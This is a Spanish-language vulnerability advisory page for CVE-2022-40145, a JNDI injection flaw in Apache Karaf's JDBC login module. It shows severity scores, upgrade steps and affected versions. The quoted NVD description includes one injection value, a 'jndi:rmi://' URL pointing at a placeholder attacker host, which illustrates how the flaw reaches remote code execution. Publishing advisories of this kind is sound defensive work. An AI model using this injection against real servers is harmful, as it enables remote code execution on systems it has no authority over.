Amenazas en vivo

Todas las CVE / Apache

CVE-2022-40145Apache Karaf

Crítica 9.8 Sin autenticación

Prioridad
74
CVSS 3.1
9.8
EPSS
2.4%
probabilidad de explotación en 30 días · percentil 85
Requiere autenticación
No
Publicada
21 dic 2022
Actualizada
17 jun 2026
Categoría
Aplicación · Multiplataforma
Debilidad (CWE)
CWE-20, CWE-74
SSVC (CISA)
Explotación: ninguna · Automatizable: sí · Impacto técnico: total
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Qué pasa

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Texto original de NVD, en inglés. La traducción y el resumen en español llegan pronto.

Qué hacer

  1. Aplica la actualización de seguridad del fabricante para Karaf.
  2. Se explota sin autenticación: si no puedes parchear ya, limita el acceso desde Internet al servicio afectado.

Paquetes afectados

EcosistemaPaqueteVersiones afectadasCorregida enCómo actualizar
Maven org.apache.karaf:apache-karaf < 4.3.8 4.3.8 —
Maven org.apache.karaf:apache-karaf ≥ 4.4.0 < 4.4.2 4.4.2 —

Según OSV / GitHub Advisories (GHSA-c2p4-8mvv-rwmv). Verifica la versión en tu lockfile antes de actualizar.

Productos afectados (CPE)

FabricanteProductoVersiones
apachekaraf< 4.3.8
apachekaraf≥ 4.4.0 < 4.4.2

Fuentes oficiales

Referencias

Enlaces publicados por las fuentes. Ábrelos con criterio.